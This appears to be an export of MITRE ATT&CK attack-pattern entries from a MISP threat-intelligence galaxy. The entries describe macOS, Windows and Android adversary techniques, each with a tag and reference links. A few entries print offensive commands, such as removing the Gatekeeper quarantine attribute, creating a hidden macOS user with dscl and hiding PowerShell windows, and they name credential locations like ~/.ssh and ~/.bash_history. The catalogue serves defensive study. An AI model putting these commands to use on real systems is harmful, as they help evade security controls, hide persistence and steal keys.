Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don't all have to since there is an option to 'Hide' the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method <code> SMLoginItemSetEnabled </code> can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well (Citation: Adding Login Items).

The tag is: *misp-galaxy:mitre-attack-pattern="Login Item - T1162"*

View relationships graph

Login Item - T1162 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Plist Modification - T1547.011" with estimative-language:likelihood-probability="almost-certain"

Table 4424. Table References

Links
https://attack.mitre.org/techniques/T1162
https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
https://capec.mitre.org/data/definitions/564.html
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Domain Fronting - T1172

Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).

For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Fronting - T1172"*

View relationships graph

Domain Fronting - T1172 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1090.004" with estimative-language:likelihood-probability="almost-certain"

Table 4425. Table References

Links
http://www.icir.org/vern/papers/meek-PETS-2015.pdf
https://attack.mitre.org/techniques/T1172

AppCert DLLs - T1182

Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)

Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.

The tag is: *misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1182"*

View relationships graph

AppCert DLLs - T1182 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1546.009" with estimative-language:likelihood-probability="almost-certain"

Table 4426. Table References

Links
https://attack.mitre.org/techniques/T1182
https://forum.sysinternals.com/appcertdlls_topic12546.html
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Spearphishing Link - T1192

Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192"*

View relationships graph

Spearphishing Link - T1192 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"

Table 4427. Table References

Links
https://attack.mitre.org/techniques/T1192
https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks
https://capec.mitre.org/data/definitions/163.html

Shared Modules - T1129

Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like <code>CreateProcess</code>, <code>LoadLibrary</code>, etc. of the Win32 API.(Citation: Wikipedia Windows Library Files)

The module loader can load DLLs:

- via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;

- via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);
- via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;
- via <code><file name="filename.extension" loadFrom="fully-qualified or relative pathname"></code> in an embedded or external "application manifest". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.

Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features.

The tag is: *misp-galaxy:mitre-attack-pattern="Shared Modules - T1129"*

Table 4428. Table References

Links
https://attack.mitre.org/techniques/T1129
https://en.wikipedia.org/wiki/Microsoft_Windows_library_files

Obfuscate infrastructure - T1331

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1331).

Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)

The tag is: *misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1331"*

View relationships graph

Obfuscate infrastructure - T1331 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1309" with estimative-language:likelihood-probability="almost-certain"

Table 4429. Table References

Links
https://attack.mitre.org/techniques/T1331

Hidden Window - T1143

Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.

Windows

There are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>. (Citation: PowerShell About 2019)

Mac

The configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)

The tag is: *misp-galaxy:mitre-attack-pattern="Hidden Window - T1143"*

View relationships graph

Hidden Window - T1143 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

Table 4430. Table References

Links
https://attack.mitre.org/techniques/T1143
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1

Screen Capture - T1513

Adversaries may use screen captures to collect information about applications running in the foreground, capture user data, credentials, or other sensitive information. Applications running in the background can capture screenshots or videos of another application running in the foreground by using the Android `MediaProjectionManager` (generally requires the device user to grant consent).(Citation: Fortinet screencap July 2019)(Citation: Android ScreenCap1 2019) Background applications can also use Android accessibility services to capture screen contents being displayed by a foreground application.(Citation: Lookout-Monokle) An adversary with root access or Android Debug Bridge (adb) access could call the Android `screencap` or `screenrecord` commands.(Citation: Android ScreenCap2 2019)(Citation: Trend Micro ScreenCap July 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Screen Capture - T1513"*

Table 4431. Table References

Links
https://attack.mitre.org/techniques/T1513
https://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-rcsandroid-spying-tool-listens-to-calls-roots-devices-to-get-in/
https://developer.android.com/reference/android/media/projection/MediaProjectionManager
https://developer.android.com/studio/command-line/adb
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-40.html
https://www.fortinet.com/blog/threat-research/new-wave-bianlian-malware.html
https://www.lookout.com/documents/threat-reports/lookout-discovers-monokle-threat-report.pdf

Create Account - T1136

Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

Accounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.

The tag is: *misp-galaxy:mitre-attack-pattern="Create Account - T1136"*

Table 4432. Table References

Links
https://attack.mitre.org/techniques/T1136
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720

Application Shimming - T1138

The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS.

A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:

- <code>%WINDIR%\AppPatch\sysmain.sdb</code>
- <code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb</code>

Custom databases are stored in:

- <code>%WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code>
- <code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom</code>

To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.

The tag is: *misp-galaxy:mitre-attack-pattern="Application Shimming - T1138"*

View relationships graph

Application Shimming - T1138 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Application Shimming - T1546.011" with estimative-language:likelihood-probability="almost-certain"

Table 4433. Table References

Links
https://attack.mitre.org/techniques/T1138
https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Authentication attempt - T1381

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)

The tag is: *misp-galaxy:mitre-attack-pattern="Authentication attempt - T1381"*

Table 4434. Table References

Links
https://attack.mitre.org/techniques/T1381

Spearphishing Attachment - T1193

Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.

There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193"*

View relationships graph

Spearphishing Attachment - T1193 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

Table 4435. Table References

Links
https://attack.mitre.org/techniques/T1193
https://capec.mitre.org/data/definitions/163.html

Bash History - T1139

Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user's <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user's last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)

The tag is: *misp-galaxy:mitre-attack-pattern="Bash History - T1139"*

View relationships graph

Bash History - T1139 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Bash History - T1552.003" with estimative-language:likelihood-probability="almost-certain"

Table 4436. Table References

Links
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
https://attack.mitre.org/techniques/T1139

Gatekeeper Bypass - T1144

In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution.

Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won't set this flag. Additionally, other utilities or events like drive-by downloads don't necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)

In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS's gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)

The tag is: *misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1144"*

View relationships graph

Gatekeeper Bypass - T1144 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1553.001" with estimative-language:likelihood-probability="almost-certain"

Table 4437. Table References

Links
https://attack.mitre.org/techniques/T1144
https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/
https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/
https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Foreground Persistence - T1541

Adversaries may abuse Android's `startForeground()` API method to maintain continuous sensor access. Beginning in Android 9, idle applications running in the background no longer have access to device sensors, such as the camera, microphone, and gyroscope.(Citation: Android-SensorsOverview) Applications can retain sensor access by running in the foreground, using Android's `startForeground()` API method. This informs the system that the user is actively interacting with the application, and it should not be killed. The only requirement to start a foreground service is showing a persistent notification to the user.(Citation: Android-ForegroundServices)

Malicious applications may abuse the `startForeground()` API method to continue running in the foreground, while presenting a notification to the user pretending to be a genuine application. This would allow unhindered access to the device's sensors, assuming permission has been previously granted.(Citation: BlackHat Sutter Android Foreground 2019)

Malicious applications may also abuse the `startForeground()` API to inform the Android system that the user is actively interacting with the application, thus preventing it from being killed by the low memory killer.(Citation: TrendMicro-Yellow Camera)

The tag is: *misp-galaxy:mitre-attack-pattern="Foreground Persistence - T1541"*

Table 4438. Table References

Links
https://attack.mitre.org/techniques/T1541
https://blog.trendmicro.com/trendlabs-security-intelligence/fake-photo-beautification-apps-on-google-play-can-read-sms-verification-code-to-trigger-wireless-application-protocol-wap-carrier-billing/
https://developer.android.com/guide/components/services.html#Foreground
https://developer.android.com/guide/topics/sensors/sensors_overview#sensors-practices
https://i.blackhat.com/eu-19/Thursday/eu-19-Sutter-Simple-Spyware-Androids-Invisible-Foreground-Services-And-How-To-Abuse-Them.pdf
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html

Private Keys - T1145

Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)

Adversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:\Users\(username)\.ssh\</code> on Windows.

Private keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.

Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)

The tag is: *misp-galaxy:mitre-attack-pattern="Private Keys - T1145"*

View relationships graph

Private Keys - T1145 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"

Table 4439. Table References

Links
https://attack.mitre.org/techniques/T1145
https://en.wikipedia.org/wiki/Public-key_cryptography
https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf
https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/

Lockscreen Bypass - T1461

An adversary with physical access to a mobile device may seek to bypass the device's lockscreen.

Biometric Spoofing

If biometric authentication is used, an adversary could attempt to spoof a mobile device's biometric authentication mechanism(Citation: SRLabs-Fingerprint)(Citation: SecureIDNews-Spoof)(Citation: TheSun-FaceID).

iOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID). Android has similar mitigations.

Device Unlock Code Guessing or Brute Force

An adversary could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing ("shoulder surfing") the device owner's use of the lockscreen passcode.

Exploit Other Device Lockscreen Vulnerabilities

Techniques have periodically been demonstrated that exploit vulnerabilities on Android (Citation: Wired-AndroidBypass), iOS (Citation: Kaspersky-iOSBypass), or other mobile devices to bypass the device lockscreen. The vulnerabilities are generally patched by the device/operating system vendor once they become aware of their existence.

The tag is: *misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461"*

Table 4440. Table References

Links
https://attack.mitre.org/techniques/T1461
https://srlabs.de/bites/spoofing-fingerprints/
https://support.apple.com/en-us/HT204587
https://thehackernews.com/2016/05/android-kernal-exploit.htmlhttps://www.secureidnews.com/news-item/another-spoof-of-mobile-biometrics/
https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/
https://www.thesun.co.uk/tech/5584082/iphone-x-face-unlock-tricked-broken/
https://www.wired.com/2015/09/hack-brief-new-emergency-number-hack-easily-bypasses-android-lock-screens/

URI Hijacking - T1416

Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data.

Applications regularly register URIs with the operating system to act as a response handler for various actions, such as logging into an app using an external account via single sign-on. This allows redirections to that specific URI to be intercepted by the application. If a malicious application were to register for a URI that was already in use by a genuine application, the malicious application may be able to intercept data intended for the genuine application or perform a phishing attack against the genuine application. Intercepted data may include OAuth authorization codes or tokens that could be used by the malicious application to gain access to resources.(Citation: Trend Micro iOS URL Hijacking)(Citation: IETF-PKCE)

The tag is: *misp-galaxy:mitre-attack-pattern="URI Hijacking - T1416"*

Table 4441. Table References

Links
https://attack.mitre.org/techniques/T1416
https://blog.trendmicro.com/trendlabs-security-intelligence/ios-url-scheme-susceptible-to-hijacking/
https://tools.ietf.org/html/rfc7636

Input Capture - T1417

Adversaries may capture user input to obtain credentials or other information from the user through various methods.

Malware may masquerade as a legitimate third-party keyboard to record user keystrokes.(Citation: Zeltser-Keyboard) On both Android and iOS, users must explicitly authorize the use of third-party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.

On Android, malware may abuse accessibility features to record keystrokes by registering an `AccessibilityService` class, overriding the `onAccessibilityEvent` method, and listening for the `AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED` event type. The event object passed into the function will contain the data that the user typed.

Additional methods of keylogging may be possible if root access is available.

The tag is: *misp-galaxy:mitre-attack-pattern="Input Capture - T1417"*

Table 4442. Table References

Links
https://attack.mitre.org/techniques/T1417
https://zeltser.com/third-party-keyboards-security/

Hidden Users - T1147

Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit).

The tag is: *misp-galaxy:mitre-attack-pattern="Hidden Users - T1147"*

View relationships graph

Hidden Users - T1147 has relationships with:

* revoked-by: misp-galaxy:mitre-attack-pattern="Hidden Users - T1564.002" with estimative-language:likelihood-probability="almost-certain"

Table 4443. Table References

Links
https://attack.mitre.org/techniques/T1147
https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf

Application Discovery - T1418

Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary's risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target.

On Android, applications can use methods in the PackageManager class (Citation: Android-PackageManager) to enumerate other apps installed on device, or an entity with shell access can use the pm command line tool.

On iOS, apps can use private API calls to obtain a list of other apps installed on the device. (Citation: Kurtz-MaliciousiOSApps) However, use of private API calls will likely prevent the application from being distributed through Apple's App Store.

The tag is: *misp-galaxy:mitre-attack-pattern="Application Discovery - T1418"*

Table 4444. Table References

Links
https://andreas-kurtz.de/2014/09/malicious-ios-apps/
https://attack.mitre.org/techniques/T1418
https://developer.android.com/reference/android/content/pm/PackageManager.html

SSH Hijacking - T1184

Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.

In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)

[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).

The tag is: *misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184"*

View relationships graph

SSH Hijacking - T1184 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1563.001" with estimative-language:likelihood-probability="almost-certain"

Table 4445. Table References

Links
https://attack.mitre.org/techniques/T1184
https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf
https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking
https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219
https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/

Web Service - T1481

Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.

These commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

The tag is: *misp-galaxy:mitre-attack-pattern="Web Service - T1481"*

Table 4446. Table References

Links
https://attack.mitre.org/techniques/T1481

LC_MAIN Hijacking - T1149

This technique has been deprecated and should no longer be used.

As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary's entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn't know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.

The tag is: *misp-galaxy:mitre-attack-pattern="LC_MAIN Hijacking - T1149"*

Table 4447. Table References

Links
https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf
https://attack.mitre.org/techniques/T1149
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Disk Wipe - T1561

Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)

The tag is: *misp-galaxy:mitre-attack-pattern="Disk Wipe - T1561"*

Table 4448. Table References

Links
https://attack.mitre.org/techniques/T1561

https://docs.microsoft.com/sysinternals/downloads/sysmon
https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf

Input Injection - T1516

A malicious application can inject input to the user interface to mimic user interaction through the abuse of Android's accessibility APIs.

[Input Injection](https://attack.mitre.org/techniques/T1516) can be achieved using any of the following methods:

- Mimicking user clicks on the screen, for example to steal money from a user's PayPal account.(Citation: android-trojan-steals-paypal-2fa)
- Injecting global actions, such as `GLOBAL_ACTION_BACK` (programatically mimicking a physical back button press), to trigger actions on behalf of the user.(Citation: Talos Gustuff Apr 2019)
- Inserting input into text fields on behalf of the user. This method is used legitimately to auto-fill text fields by applications such as password managers.(Citation: bitwarden autofill logins)

The tag is: *misp-galaxy:mitre-attack-pattern="Input Injection - T1516"*

Table 4449. Table References

Links
https://attack.mitre.org/techniques/T1516
https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html
https://help.bitwarden.com/article/auto-fill-android/
https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/

Startup Items - T1165

Per Apple's documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn't guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory.

An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.

The tag is: *misp-galaxy:mitre-attack-pattern="Startup Items - T1165"*

View relationships graph

Startup Items - T1165 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Startup Items - T1037.005" with estimative-language:likelihood-probability="almost-certain"

Table 4450. Table References

Links
https://attack.mitre.org/techniques/T1165
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Access Notifications - T1517

A malicious application can read notifications sent by the operating system or other applications, which may contain sensitive data such as one-time authentication codes sent over SMS, email, or other mediums. A malicious application can also dismiss notifications to prevent the user from noticing that the notifications arrived and can trigger action buttons contained within notifications.(Citation: ESET 2FA Bypass)

The tag is: *misp-galaxy:mitre-attack-pattern="Access Notifications - T1517"*

